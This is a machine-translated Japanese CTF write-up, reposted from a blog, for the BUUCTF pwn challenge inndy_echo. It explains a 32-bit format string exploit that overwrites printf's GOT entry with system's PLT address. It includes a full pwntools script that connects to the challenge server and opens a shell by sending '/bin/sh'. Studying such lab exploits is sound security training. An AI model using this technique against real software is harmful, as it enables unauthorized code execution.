[BUUCTF] PWN——inndy_echo(取得したテーブルを変更するための32ビットfmt)

inndy_echo

別館

ステップ

  1. 定期検査、32ビットプログラム、nx保護がオンになっている
    ここに画像の説明を挿入します

  2. ローカルテストを実行して、一般的な状況を確認します。フォーマット文字列の脆弱性があり、どの脆弱性を常に入力できるかを確認しました。
    ここに画像の説明を挿入します

  3. 32ビットのidaがロードさ
    ここに画像の説明を挿入します
    れ、プログラムにフォーマット文字列の脆弱性があり、システム機能があることがわかりました。printf@ gotをsystem @ pltに変更することを考えました。システムが最初に実行されなかったため、取得したテーブルが正しくありませんでした。内部のpltテーブルを使用する必要があります。次に、bin / shを渡します

  4. pwntoolsは、対応する値をすばやく変更できる強力なツールを統合しています。
    コマンド形式:fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
    Argue_placeは、ペイロードの最初の4文字のパラメーター位置を表します(つまり、%p $ nのpの値、これをオフセットと呼びます)。 )

  5. アイデアを明確にした後、最初にオフセットを決定し、オフセットが7である
    ここに画像の説明を挿入します
    ことを決定しますこれにより、fmtstr_payload(7、{print_got:system_plt})を直接使用して変更を完了し、パラメーター '/ bin / sh'を渡すことができます。

完全な経験

from pwn import *

r=remote('node3.buuoj.cn',27843)
elf=ELF('./echo')

printf_got=elf.got['printf']
system_plt=elf.plt['system']

payload=fmtstr_payload(7,{
    
    printf_got:system_plt})

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/113509240